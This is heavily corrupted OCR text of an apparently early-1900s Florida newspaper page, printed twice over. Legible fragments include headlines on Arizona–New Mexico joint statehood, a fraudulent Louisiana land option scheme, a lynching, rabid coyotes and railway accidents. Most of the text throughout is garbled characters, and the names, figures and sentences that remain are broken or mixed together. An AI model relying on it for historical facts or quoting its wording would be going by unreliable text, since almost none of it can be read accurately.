.on'T.1 1 In ti. thi' enterpr:*.. was a (rand ; tiiat tie lor* i'f! !lift.. and that 'If'\ eral thousan I Iio which Is vastly less Important lathe . to the fleet that the eonlmlt'er on ,'a':. J.. 1m x all' }hr>4;ill :i!. w .1'. r.. m"11 .r: U..i..,. wrr. worth n. mere than 'jc :'ar* 'Ai'>r' 'i of damage done value of Its taxable property.. lies. wh'rh .1... !bt.t n In *t. Km In :s y. a'I, n'Soa wa, Ifl\! .." him lIa: rhancfor -',- each : that no oil Cs. r aaa fit:in.l on )Ir. MaTory.: who In lie htad of tht' "I can well understand that It may. l/ "I.. l..*4 lua.it* a MX! al\anfe In the r.cra rr ate .-.>n.l'1.l 'r,..I| BI*'..I the !.tn.ls.! that nn bid had ln-4.n *teaini>iilp line o f that name. bid: .ic cent .l,..lral.!e to substitute a state r price<<: of certain r.a.I.! ur luwlw r. tit XVhon fut i h)' the l lr tis; 'lir ri.in Mw made: .! : that the all'*-t'' <>f t IlIf'-..a .*. !t'. P I.I"><' fit.t o\er prttall.r: ,. !H. $.' :.- It rip. a:. : li.. w.ts 1'.i-Ha':Tr w r<' $S.II'<1 marled l of $1 .: n i. "\). I 1-. ..t K':% n f'r. a prt and they had I Just whenerer It can be widely 1 accomplish.ed. . prVeIt'In*: I ..n04'I l I., in*. :.n,1 f It I ls ,''::i'l: '.' I hat 6'" --- 'Met, '.e plat .Ctrl whrn a t:... link an.I 1 can appreciate the present 'l''lr:na *i. al:! cntP.l ; ("...lIlne.SI r'u'' ,I 61 t\e !11\.1! I man more vio'irwt NEW CONTRACTS ARE LET. in :U &u ana.r: :jn f'1'1 from the htMt..e ('ee.nsideratl bat are Involved lathe *'. al: era :'e. ; : ..1'1r.!: s:. nil rr:..1.' '. : '. hour i.o.irl...hr....r.l and I Ar' lie .a) s lilt"V UI coiitutlon for joint statehood but lwh l tent.. ft :>'. al Kra l I.e : f. ncn.i h: I.oni,. N at ".'*. <*o.ti i:it.>ia a\. nUt Maccn Street Railway. Will Be Greatly. 1 h.- ,J I. 'mMnn): "Was h. :i".i for fl ,.. n..lt ier t.ould outweigh the Injustice M' 91 I :.... i'I' .;r.1.I' "r' diiiit nl'.n4. $1. ." Jamaica. I>in.i I 1.1.61.,1.! Ir-proved. u' !1''., It *hnttertd etry tca: .M In that would IM In rot veil In such an uatir - .II traJ. \h.'m. t::*.. IKc ::" -.\, a tmetlnn . n prt..nHIM S ,>n tit.: . 1'10' an I It alliance, a* that of Arizona and NewMexico. Thl. L" The srr .a'r..f. :iltirco! : vet an Gas: Explosion Injures Family. of riteIi.!I. ...., >r* of the Maon H.r.a) :, win.lrtwM t>n -.. .I l *e of I',.. him.* ." r.Dlnr.,1,t at any tit .-.It..: uf t'.a nun. McK....,..Htrt. I'a. tkoC-| ;S-r. MtsH an.t I.I.:ttl cdinpinj contrai* wi' n* con It 1.'..M a a. nat:: off his ftrt and I mil ..* -lm\ ,.. lb.! ..r_.ui.*a. .>n of tai .it I. sx.n. )' vi, 4-. f.et.t.y! l>'irui t an.: h":in .t for :*., UM.U 9*....I.... ant |:L.). ;. ....!_";. t.ie ':!.,.. .. f r"n theJr peate. CHURCHES WILL, UNITB. tai a..oci.iM..nFAMILY . .f' ui.: t : JIM, '::,:b. r. of tine j*.,l suet M' .ti worth ..f row !ii.icMr.ir: fur th. Ma'ki! a'.11 t....ty t w :>a ennui I I.ttnr 1..1 fl'1 t II) x.'r.' tarun I' !In"Ir.1 a. !., t punt;: IK ,.. II..1 I l t..I rn thln... will f. ,.' fioni rt.| .spl| <..'on tiv hU wile All the Details of the Union Have HONOR CAUSES DEATH. Itl.1:' of :1 ni' uril: K\* ..\,,:....i..n! In t <. Iw ...uii| .;int. ,! ti>' n" ',a' llrtct "flnn.'t' w ..o ha; I Dine In p t.area of him. Been Agreed Upon. " Kt l,ui*. Ik-r. Si).-l&tenae Interest ki,,". r "f their t. .u.e. .V ruN:" r liu -.* tlon", .o tnat tl!... eJheJclt. : !: ). .11;I b*. trip TtoZ'it stn. Thew' .i vlart't'l: .ill! notr * Bowdcn Charged: with Killing Green on In tod.y cedlnrf4 waa manifested r I in ... n.nr'-r'l ah! the ro. ..ln3t. lrV a'l/t: ivt: t'*ti'nt of tne article nt until j. that. Account, f tan various members of the liy ..v ,. wlt'i: the K..<* pliM. h,'CIMU d 1 I.. au""r N> .nn ant! s<'cr..tary ant thip..:-t> broke up. I>i Iln: li.a I)i4- :.. '\\ Ibiwtin! coal mIttee of the Northern Presbyterian . iche,I donut the niche ..n.1 1 a't" "m M'wf 1 Tr*rnr. r lltffx will: d.! "t.et thlr at a r., : r '. r. a'u 1.lru. rly Hit'.I Ir. an I Cumberland Presbyterianohiirch :0- nrr .Mrucic: a atrh 'n light the :i-n on to In lmpni! ,,'uu nt of tU. No Ultimatum! Sent J'I1.IIII: .a'. "I -.. tom was ..n('.' In .-s aa they nat In the parlors of ; lln. thl* tiiortilrc th.. 1 s;t.. ..\p.Io..1.: l The l pant: :It "nT'i .. I'art. II tc. :').-Tfte fortljfn olfle . .1".1"[ n.nn'y. h.i. I I.. n p/"t'.1: I In J.ii : : the Southern holt I today. psUlently hi uc wai.'uji':..ti.!) r'rk.I. .. "tti t rill* .ay ." mire has ereatly Ca. ) a no uUlmatiim has been rent tot' ..'. ..ror..1 I wtti i : th.r n.tr.I"! of Jultu awaltlnc the final: report of the eubconimltte ;v lln-t. at.-.i I ilklllinj\ I...* {pa.t teaars, n..lIda and r..n"I.I.-r tae: rriMtrtleIrrntae (;r' .'n. nf M MMf::\ l *m.i'l:I .'.iM >n on tae .-s which would mark the Brat Found Dead by Roadside.. ani.! the tnai ,:i'.1 Jt ant U kftatlr. > | to that rff.ct are the out 1)11:1.1n: anal Sou'a'.u'.to rn raUroa step In the orcinlc: union of the two ' VaT,lo..: ... C:.a. !> ...- ".'-liar ui HI:MI a l..h.1.Children. Knwth of the' confi'rcnet httwren ' Cr. w.t..Ir. .'. r. anI I It churrhen. * n a girt . run. .i w< I: known r..rntt.r. of thl rouri, -<' < rt I..r l' It f Bit and Ami*:i.*arlor Jnoeran .. I.. sjl'l. that: \ ....ft r.i! .)' h.' and I IU.. .l ln Destroyed by CayotesS Ik-fore the day !1. over the churches f>'. w .nt 11\0.1! 10' \t ra! titl:t .. fri.,. fawn I rnn..rnlnsr further In.tnletlnnito liail. w ,tirrimlf! In which Lie honur..f S- Xntonlo T* . \tt-r 2u, -4reat will lx ublt.:1: details have been was" n..tnd !) t 01.e '-,""r'* f inl!)' has !hrn'.lhl Into I..A] of d I..ituat to ..tliilliai. l I. 1 In illK .ll... asnrd on. .. Mlan'on w" .'nl MI "hdf It tiel. ''I.r nfflcla'. here say ...a' the rt sump q.f .un TI.. r.'artf w.is. the .hew.. tamed In northern M"'.lco from co- )1.aI.nllII'1 .an.1 I !aft t.. r" nirb 'n hU tlon b>' riernt'.4\ of dlpU>mallc r.a: inc of ( .r... n,. .1"1\! n..ulrm In-':ititl>' ) .ot.1t! und wolteii' with rat>le". Catt'enun : Loot Life by CaveIn.VahlnRi . 1 >iiie i>o..u af'.T '. o clock Thereat dons: with the Frenc.i; charae; ,I'affalr.t.1 . UowJen. r. ri." ji tn .!Ile'las Ho .r-.r. from tie! KI. Cran-1; c tntry' sa) \ <.n. O*-.*. 2O. -Aa the retllt " ro ni marks" of tl..nee! : on his pron \ Tilsrjjj rji.crtlal a* ,.r.'tmlr.eryfu (prar'ie5Cy: : : al: *!.,. coyot*'. 1.a.1 the of a C'.an..ln which ucurre-" at the site and the ("f.r.on.'r'. J'ir>'. which, In c..n.IItrlnc. tie other question Iu Government Will Not Pay. rte. r are m.1.: l anal I lire t' trl.ult'n are ..f the new national: metropolitan cltlTint. . slut'i it.I..1 ire an.r.. r..n.I.rr.t a der dishu'r. Wi-i'nif: ,,!>. l'o'C' ::II.-Tw 1..1 lr of rrourItn.t tie if.intry and ..,rmlnat bank t..II.lInc.! opposite the treasury '. dirt death th. reu't: flf nat. rat wa a >. !I. r <-.1:: I Irt 31"''''' r\lre ran \Ira; the''n. s.'u! r..! Mexican children Burned In Tenement Hou.e.Uinn..31"I. .l lr'*'rtn" 'nt. |><-.lace Cbadron. an r'' a.f lx> Gent Lome TI> ha: r.. .ill-* a' ilia: t'a.l..e. tn Co.5.u'-4! havi' t>ct n bitten and! dlo! :i.. 11na.: l>-c. :3::,>. -One Italian I 1&%K'n r la .t...... and two other ; <'.\irnm' nI'n.: -*> rnr nrlal J If hodle Crushed", to Death. Under Engine. The ..1.r..1 of the rabies: to Texas I sfeare. p>-r.ori l I.* ilt.ad. two "t'rl"III l) l 10'11..1 l workmen were Injur-!. C. R. Smith In thn ('nlt"l !sM '. ii 1lnta.ovar. .1. ant tlth.n or nn.r.. Injure or oxtrOP a carpenter{ was tbe morn SArtonelyhurt 4 N i-h't::" TI'nn . l I. t'1":: ,"'" r _ the )Melt| HIM* I.. : In .her.'a .' ;11' Ii)' 4tiioi:;e as the r. "ult ..I t ttdixtnictlon At first it warn IxUfved tAa j 1'1" rtlari. tukn *' *. was. 1.:1'.1: l ,in,1 I I'r Fatal. Leap. from Train.. I by fire ..?. the II h:;.;!n** kllle* : .1. >Mnint Thl .. a 4 th several tarn warn but It was r t : fir < M - r: ltirk I :M.tr man lolL i \Vic Tr I..T .-.. -\\'hl:'"* r",). . . tt tit tut nt h.rs'.. tin ;Minnt hAha _\t'n'te . . coffin Iwstifd tl". Hi ". rina.'er P' n oon illc 1".r..1 l fit Chadntn was tb > n i f': !ir Jure 111 : tjr' at'rtli. n re : "anf' 'm. arru.P.| ..f a min; m tryln : ? .<-1..1.1\ of 'h.. r"!tii.' r<'::Vr of fh' 'reaiiry \ !.. o! l h.. I..u.'a: : _n.1! Na nif t.. ,..r 1: a )huTS"' '- 'I".! his own. was 01 Trw tin. ..'.rh'.1 I !In the ai",.," ," nt5 rat1ra only ono who c..11101 I not !1.... extricate I i' In ,t.. ('.,*.- of l'nva'1! '..r' !1.\*..... rm .na: r, .m :>any Jir'r Th. rsre: an lnternafi'in;: l .and ore-at! "T'.u'rn lyirrjin.' ick'iff: In the 'ul.I! !. fr. m *ue n'a*. of d-bris' la time to bsaved. ' TW'.T..> -nln'h I.a..r. th'.1: arti': crywb. J'ln..1 j ft... tr .''K. ''Irn' -! ot. and ..nrlr'er tn n. !In tht v'ia'i ely I of offe.r.: i\e jiti<!, tif tne. 101.| ; torn"nt and "t reid: wl'u _ <. "w.a J.I::! at J ..f lll':.') K-n H an tarts: ranch! 'In.-l r if ant I stun'I rful. raJlI.ny. Twtni) i>t ,en . ) l et.ay:: hrokt !,roich a t'row,1 of ilea fattit'it! .4 were routed| from their t>...I* Three Killed by Engine a.pl.. .... :..t (),' ..'I..r.AI.ab.am. -tahr.i fr, lca'h Ti. fabliau: a'. ,Terra I&n.1 1 :....r..1 I off a* th' trt'nwa : IlnntlbK'..n. In.l.I Ie :so.: -Hy the _n I f nt shltrrtre: half "m r-li r..1 ''v:'t'! rran an n'/t ':ar.;;'ci i !y !njul . rr>...oltttf t.11' lira/**.* l.rl.I1 II.. h'owlnc: ip of an engine attached tn ''h'" tint I'J it 4r t 4 4IMtn . Negro Lynched. ro U. f<*Il face rownwarl: a .tl Jtnr-e of I:. r-'rf' a fMlxht! train on the Chicago and *# A'V n.. .\:" l I"t'1: : : a.. fee fo a h .aj> of .Ir.f' 'A..I.| .,ut:tlnlntf 1>I.* rtllroa: near bleu l Illil t o1a,.. Save T.a.. ... Deport Money to n-.u..l.' a 11a1..1! tthani nee ro. b<. a: *. !tnl'irl '" hl'b.11. ;irolw"l..ly pr.f. V/ill Johnston Respited'v InStne.r jobs i. O'Itrle'n ?f Konts.Mrenian . the : . f I*. .llo.. |IIlf\nl'l I. : Tb. Orteti'Nlewii .0, ,1a:: !I...r ::'e.XV!" terni ) man ll'nr; .. ft: III bat M were aba"lr.lf..1! _.*.. :. John J. HrUn.. of L .u.i- . ., .. . |p n it.. *! ejnierH tti't Nt l h' : I' n' I I" u."mi' this e"'sn's 1... 1..2.1.: : ut. esr4 who arreu and 1-i-niu. ..l l*!.ner. a brakeman. of .. : "W'lii-: : '!. f' I..r pan .me. -c" < .t-:1.: I .. .. 'iad 1 .''. .., . lnJ.II.c. H! :.1 s' a.is pt'u'.1 t 'L.. : ..I. tn hen a : n A': Ilooh. ,.t.r. Ih.I. ...re instantly kll'el: !. i T-:- ., .. In ::.. -. at I '!. .. II r. . y Are a ," 'r... of a 1: .' 1 rain and N-n'IhTwt Delegates E.pelled for t_. Ii, it l 1'r -::1.1 a. ii,!r .if ilrit" The week than caught fire! Th * . B.II t.) a .*rVif. In or !'er !I' i id I. cch'n.r' ....!'. S 1' IHo. :Sl.--T. . :. al'h a . ..r"'In.. M: neck .,r : . : :o . :' t !fi at Junt t.as f* n rtI train a* .-..IIJI"....I or refrigerator . ", :. : *. .n' n." \ '.. a' 1 l .. . '. .... ... ' C. Ts .\ : : f. . n. : r ay t- > 'ra't by 't ' tl' -1y .h! ."I'p m... .J.a'I u: it iar) i lUt rar '0.1 |*..j wl'h n,,'a' and I was running \ .e-. ... i:". J"i*.. *" . ,,, ' .. .. . .ir. eft lb.In' ; . th. n .. t-'I&i : : : !.'I's :.attnQ. !.. tnr. j 'In r. t : ; 'I i.. ir vl i 6a alt 'II* 1.a'- p' / 'n. i,f to Nw* Yurk a* a special.: .I . :T '.* f, a >. 1 p.,r \ '. .' . R i. '. . 1 Ir.'.. hnl.! Tee !"'"1 11 '!t apf" _.r : \ r. ate I. S 't. u . : .. I tin 'h. irr> nt LUat . ..., .. :. n. .f. '. M' I n . *.' I . I -. . N nl, ) .'rrt "'1<) :If' h.. tIr..r. ;t. i k : t. : a h. 10 : h' Aa : . " i'fu't, it,a' .it' uaV . 6y ,t.... !I.',: '. f* *.. "f !. I rt.f ... \ ... . ;. t. .. ,, ..r I. ; : '. Millions In Revenue. .. I' \1h.AD N' > I I. .. -JO.-O' er five Samuel", Hanson Found ic. ---r I, Vt. :.' r A' . ) . <**) < .'.... N lHin \+* -.>DeAd._ . : -..: < ..i., ,* Tr 't ; ': '.r..f> . :. ., : c'L.' . w ath Charged 'lthcrjery: lnlM:': tn ,!... . v n'lf' will!! tie r rr>- -.'n. .t .a.wt!.:.) r i/. n ,,f 1..r.r..1!i . ** .* . n i t. a : 1.Ii.: .. I .... 'I .\. .1 .- t. "t. U I .I,. .. ...ap ';u... 1 lie i.. "f t.i< flr.t )..aru.xiar ., . .. .. !e' a : k "*Pro ,'. .. N .. .: -lock tran4f tax 31.. ''A.a: > fin. : ".'.i : tn .. '! .. ft'l 1 w1'' .. .t.p.a. .' v. .y. T. ; < r era. I* "T> :." w n*.r r. ..i""r'Onera. -. Itf h,.. ..' .. ; T ::.10. r. :. '... ''I. . 'its IS. et'.o. . :. I I...,... -. .r. II .. r. r, t.< ,> tae summary of th! . 4:'>n :. a fe # au< .". :-uta L.:: ? ' !. ' r- .. ".1} f.r' !.., . J t .... :.' I r act 'r4tia.J is .t a rr 1 !,iv i irt r .r .h) p')1.Ce cfC work of t&n' comptmet;: dep3tt.ntset . I l..:, r. t... : r..Si; a of > ". fy. for< the jer. IalucJ: ttar. .:r.ap. :. c. aL;t.l,5t. Iof Cv3.; It .-- cb L- : I--- ..&..... . .... - .... : .. .. -______. -- ---:"' : :: -- ,, ,.. "... ." '"'' """ "" +> .,, : ' ": " '; : .;::::: niltt billt '1 1 bt nn. pyyyI ; Published Twice Week and a --Monday ThursdayGAINKSVILLK. . -..-. . . - \ -- - - - - - . - --- ----- - - - .. VOL. XX,.. NO. 4r> -ii-- FLORIDA.MONDAY. JAXl'AKY I HMM5! / ; ONE DOLLAR A YEAS ...1 . . __ .. ..__.. -- ---- - -- - - --- - LIST OF NAMES: SELECTED. NO PHi>i wUTION: FOR WALSH. BOY ATTEMPTED ID I TWO MEN INDICTEDBY I I JOINT STATEHOOD From Whom to Choo. Successor to Shaw Eeiisos:: Ch.cago. Banker Because .t ArcJ b.shop Chappelle_ i Other Bankers" Vio'ate Law MURDER GOVERNORYouth Uale+ton Tea. Ih'c. :I" _The: Il..t FEDERAL JURY I I (*hi lc..II:... IH-C" .;" --:*eerrtary of tho BITTERLY OPPOSEDRich of names *...'. 0... ,1 I !It}. t...- j I': lt>..t. MH 1 : T ...> -*. a* ..r. a. I In tul. c.ty w Uuo. : ;>i> of ?>. .'a !IMII: |puv'lu.r: u: (,.''nl \'."..- .Inc'on ant I in an In'ertiewpi Fired Three Times At New Or.evnK: a+. ..i>r. In< "t. lair Banker: and Bart: **nde r Charged ) .1" ;c '!11.! .. -c .u. il:. re ao.tJ: l,e! no Arizonian Say States .trchIshu: l ;. C'at., ;" I..'. tlf dew Or' ('Mi-o ''r'II: pro-tcT :..n ...!...I ln< eat of Ruler of Moscow. I Idana. and H.It.U": ; :: ral.1.. <>f 1..' With Misuse" Of Mails. ' C'.l'.I :" ::..' '..r...: Ixink' IInl I tjll a Should B. Singia. 4 tie Il.>cU.: Ar... 'oII."t.e f.itnz: I.. ..'.' .ita I -."ie SMViti;4 'bank .'f t'ulc! l city liad .- -- i soy WORE RED CROSS UNIFORM < 1r.....; ..lfa.1| I MII: fur tinili.it.: SOLD FRAUDULENT OPTIONS .. : ALLIANCE OF STATES UNFIT I it of t..e: uffcv..r.: ,lit. II b) at..u'.r& > "John II. Wa'o'.i: dcl! l not take: one I i u fnl.uws!: : d lo'ir!: ill.aom ..tl) lie .li.| no more fJoiee of Shot Brought Soldiers to the ..rl..t ts* UM fir New. (>r*. an. an-V Bought 1.000 Acres of Louisiana Landat than titan> oY o r hanker. in the Lotttlta'.c .... People of Arizona Had Rather Wait ac.nW.thout a Moment's Hesitation b.hul.rlc:1'! b"r Lulu. !. of N'-w' OrKaii il.&O per acre and sold the Laid are 11.ntat! the: time. Ten Years for Statehood Than .. Man Committed *; UI: hojt ]t:, nl... ur I'.,r'o H..n. "1 '.t. ruttier ut cilu.lnal pn....<-ut!Inn Young Suicide Cut Joined Into .f No. Mea Up Into Lots 20 Feet Square for Territory anJ llii! >Ui;. )1.' r.cr.at.r.It. of O:;" U-; is rut! :J In lot l hut talk Tacrr baA in'.-n By SwaVowing a Liquid.New hon.aTZie: $2O-*S.OOO Instead 1SO.OOO Assets. no i mix /,:,n.i lit or theft FIr e"'. r) Ico--Arizona Would Bo Outvoted. ; Io'c. SO. cable: : IiUho;*.' ll-t for New" <>rfanarch'.l .. ioar| :! taliu out Kllt-e.lst-U;:: curty! -A York. rant . taicai: lk c. ::"*.-Tie:: f..l.ra.cratot . New York. Dec. :2t:\>.-James Doug"- 1".luI.rlco} : 11I.-:..;>. M.noi.).;a. r.It wan" ,'a.1 within: The depositor fruiu :Mo to tb.'urd: *codaitd' LKc J'ir)' !... returnttl inttctn..ii.* lajt. who U tae vscutlre head of the , of OKlaUmia. ; 11t.1..lo.| of N.-t'r'l. /! will" ; ;:;..t every tiollar.; and waen that U -y.: a<.tttt.t. l>ml. \ iuurJaa.! proprit *nr mining enterprises In Arizona croupe iMA Ml J -. and l burnt of I>ala! *. in tLt. <>r. has :len a".mplI..rI.! the ft'.I".I"Ilt| !l ; ) A boy tried t<> a* a. lnatc Iiaron ML of tl.,,' In.; o'r.al Lank of iHarlxiru; : aniIaJion the .I'hl;,*. LK.d< > Co. Interests. tier named.The of the jr i\crnnu-nt c.'as. *. That part demo civil icovernor uf the city Inlay. .tr.-. t. ant, John II. lMlit, Is quote regarding his views upon the ' pr.e: '* list fftr lOJtle: llock: blaoi of the l banking law prohibiting the sad f.1Uuui. Intantly committed fcu;i'IdE" tortu r I.rntrio.tur; / of M N,'r'.. Side& .a- pn>po+ .el Joint statehood or Arizona .v rlc: Fathers r-a.'III..r. \\.I.J! not I Itunlnz: of nioie than 10 per cent of < I I.a.rlnc I loon. lM th acurtd of u,ln.;: tt>w mails and New Mexico.Mr. 2 Lraily. all of the .llocc+ e of I.ittlKKk, tae: capltaUrutluu. : to one man may haveIli \\., the Red Cr. .. uniform the to tit'fraud. ix>ucta.s says among other TJie bih.ipV, :Il lot for 1.1"? ;.. Hoc., : n violated.' : That Is not a criminal 1 aln ariml ,ioft baron ass* jcain.il to the .' < The InUl"tnl.'nt. accu..> them of ,. !. thlnrsTo : ? Fat tr* HoPun and ltra:2y. of the diutepr vitiation and nil: thai can be-! dune l ltu I. anj approacalnc: him drew a rand Inc fran'ue'a: : options on a->;e.l oil: force Arizona Into a union with , of Ultle IIcK'ancJ' Fat.ir J. 11NorrU im.Iate!l .' the bank and pay off the 'Yoly"r flrt d three shut. All the Ian.!In in L >usaua.! The Indictmctsta.te Xew Mexico Is to do a great wroac to ricwr Kmt-ia] uf the tlllK"IiE" of d. inn.ttnrs. The violation; of that lawby buleta: missed. their mark and the that altou and Ctxinlat art I as; the p-upl{. of tho former territory a.b'lI1eo! ,.... bajkk: I* no more than Lus been noise brought soldier. scretarte: and under the: name of the Miitiana. Statelaian : who In racial antecedent. nUctoMpreference clone l.y alnnni bank In thecountry. servants running; to the baron. YOUNG STOWAWAY IS FOUND and Treat company of New t>r- every and InJustrta later**** Without a moment' h. *ltatl .n an! It-anii. p'a'r-h..4 l.ouo acie of lan-l! are wholly unlike the (Inbatritaata .CXew :d before any one could seize him.! tae Was Nearly Dead When Discovered in VVlnnl ..ar.ab. Lai.. a.t $1 I..u an acre MERRYMAKING NOT STOPPED. )tf'slf'O.Ill.... Mexico>> has a poavulatloa K young man swallowed: the liquid In a Between Coffee Sacks. plattetl,>> the land Into land :*> felKl'iare sufficient to Justify bee admission mall phial which he bad hlJilen! in hU <;.arv! tiMi. Tex. I>ec. :3' .-\Vlthontfoo.I and l offered options on tne..e Gardener Was Killed and Several as a slag state and the poops rlenche.l: nan> .".ct c t-ar.t. Thousand Dollars: Damage Done. of .Vrlaoea, among whom I have spont died In a few minutt-s. ner. :So-In Icnoranco of more than 2S years of my little wo.14 >ck. a ynnn.f German: ,.to. a. a> to rtsemble: lottery tie!.. t* and ct-r-: the ex;>lo.lon w.ilch; had shaken the rather wait ten years for statehood t LUMBER PRICES ARE ADVANCED. 10 }'rar" of ace. after fMifTerlrir: in.].. lain prize ranging from OOc to fS: rio>..e wa. .. icre than a trivial affair. than be Joined In to Mew Monica. cribaltle: l Inf"turo'I! for a p Tto d| or ne'Ir werewli i a* bait.Mi.nth1) the divots of Charles II. MaDory. at -In the event of Joint vtatoboad the Such Advice Are Received from St ly ten .1.1". was r."II,1| from hi. pirlion : 11.1 ttl. punxirtlnc ft, be th- It.vrntutthor. :'e!..t nlcht.:: contlnin l vast Interests In Arizona would be owe.roe . Louis Meeting. P i ....|rU.n. !In a narrow sir| '*<'" be- li.ts of price ll! l for the oil l.iml tttdr rut irln> 'r* It was n-ver.il hours .i and so controlled In the mattor llom .on. T...... IVc. 'J.-.I"c'ap: tun rack. of cuffe In the lnn. r hold wre rent out to the purchancof op 1a..i'ha' lh > Yarned that. In the ex- of taxation by the greater pop latkMi , .. 1c a.lvice rveelrei by member ..? of the }1al.ry! "*,an.er ('oma: tons.: Tli* |tn'lict"i! ''nts Mate! that .IIt'I"n Jut... o Mackey. heat Kanlener. of the present territory of Now Mexico. r, the g.tlathc'm Lumbe.rI:1t1un! : are }Ie! wan. lmell.itel\ r >. >.',! to ti. th>* enterprise: was. a Iran.I ; that tae !10.1 aa: Itfi: an.! that several thousan'I I.j4 I which U vastly loss Important in + Co the effect that: the committee on value John S. aly ho*;>ltal.: w.i rp nielua! U-.ti.fA wrr worth n.* nn.re than 'aceach :!1Arn' -.. CJr'1 of damage:; done the value! of Us taxable property. s *. which! iia,. be*'n In *." lon In St Hft<'n'l I.s was, xlven him! }ia: ,.Jl'lnC''' : that DO oil ,.t. r was.: foun.l on }Ir. Malury: : who In the bead of the -I can will understand that It ttzaystPun Louis ha" made M.; a.Ivance In the firr rl c, vtry ate f'> teamhlp line of that nau.r: had .. .1..lrahl. to substitute a state I price of certain irra.1. of him It*: r. Ihefnereae >\ r.HIr.t, !I.) the lonx'h, +.nen :M.. ma.: !.: that the u..<..!. .,f the cotnpMny 'l".tr.- of frU'ii.l from N"*work and.1I KOy..rnlr.-Dt for the territorial.. JM'r 1.lio'lot ftvt over pr 'a&t1ng! ; !....:> was limp: a:. he. u n t 1':1-11..",. "' !netted of I1.:., ".lens. I I I I'r> .'kn! f"r a p.rt and they ha.I Ju* whenever It ran .be wisely accomplish.rd. , .y price t toeing: c..n..I..II.. and It ls .!.}tt J'1 I Ihat: ; i't .. 7.\0 ',. cut to 'II.". nrl J. when a ran link anj I can appreciate the prooont Fluorine *:. ala crates: rellln. '011,1:,| ha e Itv..i l nian>' more ho'ir* NEW CONTRACTS ARE LET. in :a art .'U,MI*<> :C': fait from the! hcni''e f'otulol.r.tlctDe l that are Involved lathe '1.t a.i;1 era !('* : : *l<:l'.r.s: S:. al! cratlm. r !t'bu*it i. .'irl.hni.-rt amt air lie .a> blew ut.Thu. Jarl l 1"Ir.!_, |1 :J.. all: gra.1ta : I.nen! :. 1 h':. I:nnu N at :3.,*. <*...:IU.: $1 1 :.... all hr..I.so .!Itit.n.luns I $1.:011: .Taniaica. I.nil' 1.an.J.: Ir-proved. .' It .tI"tI..r.1| evry Bfa: In that would be Involved In such an unfit . all araj; + Macon <!a.. Ik.f' :3". -.\t a nHf'lIne t:.ttrc ,'nho'i.a t>n tae: i .*ate an.! alliance as that of Arizona aaU NowMexico. ;, Thl !t" the t-teaet! alvance' )et an. Gas Explosion Injures Family. ..f tn/ .. .11. .'f".r. of the Muron Kal'wayan 'ne w. |n.!n.\M fin oe i.It"l of t'r! home ." _ __ r.0:1 nfO\OfI at any meet It...: of the (com McK I ..e..;H >rt. I'a, I k'f'. :S... --Mrs.ll.it .! l.l,::ht cf'mpan) contraf. wtrecon It l.'i.MBS. rva&l off his feet an.Iunv.t mlt'ee -Inrv the! or.rau.zai'on; of LieFAMILY !Ir S w.t.-)' .a.. fatal';) Iturui I an.1 I IUht h'ti..1 for !...? wt..n $V.....,H. and Viii.! -. ;> t.e *"..>.. fr..n their .. at.. CHURCHES WILL UNITK. '3 as.latlun.. a othtr jiiemtn-rn! cof the Sx,. ..nt"* ,.".. worth of row niachlutry:: for the Mark. *.v'.. l t".J) w.:.. f..u.1 later I' . fa"t.ly! ...r.' ..-r'ou-ly'! Injnrtd+ a. nu paint t lift.- O..I; Utt machine will f. ,-t from tl*. e'|.Io lon br his wile, All tho Details of tho Union Have HONOR CAUSES DEATH. r> -nt: f>f a n.vural ca*" a''I.u.l..n: In t' .. l>r Mipp'.int'ti: by ni-. *. .l1u'ct ("< an.-c- win. : hi I cone In ."nrcJi of him. Been Agreed Upon.Bt. . kt' 1'C'lulI of thlr r.ti.... A rui i.. r how dons, aU mat the capacity will: be trip- The tn: *t.. thou:.i utarula-it: | .j.l| not Isnii. I>ec. SO.-latenoo Inter- Bowden Charged with Killing Green on eat in manifested "i 'c.t| In r"nn.'<-II'n| with! thecix.xinz It..!. r. alze! the extent ur toe accl.ltnt until toilay's proceeJIn was that Account. .t..".. with. : thei. .\* plp'. bi-c.ime 'Ic'! Manager' : N> ;.iin: an.! Sicrt-tary asstTr.a the! arty i broke up. by lao various members of tho ''o h'Ihan t : f.a !the. :n", --\v. it"wdrn.a . tacheil brine the nia'.it:: ant w"I"n :MrS < .ttr.r Hertz, will: 4.! -\<.t.t their attention . ; c.irj rt.'r. who fi.rm. rly llvei InDu'.iltti. and< Camberland Presbyterian "'tnrv Mmck a match t<, itch! :: the to *he lmi>nerut'nt of the No Ultimatum Sent : an.! wiio... home wa. one In c'bunb.tb: sat la ho of fir,- thl nu'rnlnir the 1::', 'I"nIt..I.| Ththoiuc ,plant: at nffTU Paris. IM-C. :S" .-The foreign office 7 parlors Ja-p* r eo-intv.. btt I.. n pace: ,I In Jail: the Southern hotel today pallontlyawaltlas was "unllt'h.t: wreck.1.! .> .Ktr ..t railway! .ertlce ban great. pays nu ultimatum has been sent toV <':aarrl; 1 with the mur.ler of J"lhllI' : the final report of the oubcommitiee I ly lucre ..'.->l lurln? the fast i few years *-zu-ia!: and considers tae reportsclrctila'e CJn-en. at MnHIa: maI:! station on the: which would mark ho first .. Found Dead by Roadside. an Im'.iHn: an,1 l rfouhwet rn railroad. la the step organic union of the two Val>!.,.ta. Cn.: IK>C :l'-Ilanm tll.in nee Ic'l. _________ of the conferencIwtween < al It r -fn wa o a c.trin..r., n n.t. churches.Iiefore. ton a wtlt! known farmer, of this ruin secretary Uo,,t and Atnbnsi>arl >r Jnseran - 1.. sold that ,eat t, rilay he amt I Ihtw.lcn Children Destroyed by Cayo'... the day Is over. the churches t)'. who Ilvttl! .c\< rat niKc t: from to"'- n. >l coacerntns further inttmctlonj hail a iliftlculty In which tae honor oftit' San Anionlo. Tx... I>ec. 2rt.--<;reat will be united. A'.l: details bye boon was rtuin.l !)In: .!. ai,{ by the rr>:1.I..I"! to lxrent MtnUter! Ru.. ell at Caracas. latter' f.nt1y! wa brouicht Into ]IncA of ,| ai_tic animals is 1 being; "1.a.tllln..1 asrted on. Mr IIbn".n tarot to vUlt"' a n-lin (x>rMonilay The officials here say that the resumption qu*..tlon. Tie: re.nt: wa. the hoot- In nurlhf'rn.10: from coores night:: ant left to retnm tn hl. by Venezuela, of dlplomsllc relations Inc of Green .le..rh t n-.alnll ln.r.mtly.lio ) and wi>l Lea with rabies. Cattlemen Loot Life by Cavoln.TVaahlnirton. . T.onie "nun after !. .i eln, .. Ther.wire .. with the French charge d'affaires. ,,'Jen "fI".s to ${l..cu.'a& the utTalr., : from the Itlo Crando country. ray. D**. M.-.\. th* ...outt In' no mark >f violence! nn his perron \1. Talcny. eswcr.tla! as preliminaryt |>iactlca! >' at!: the coyotes beyond the of a 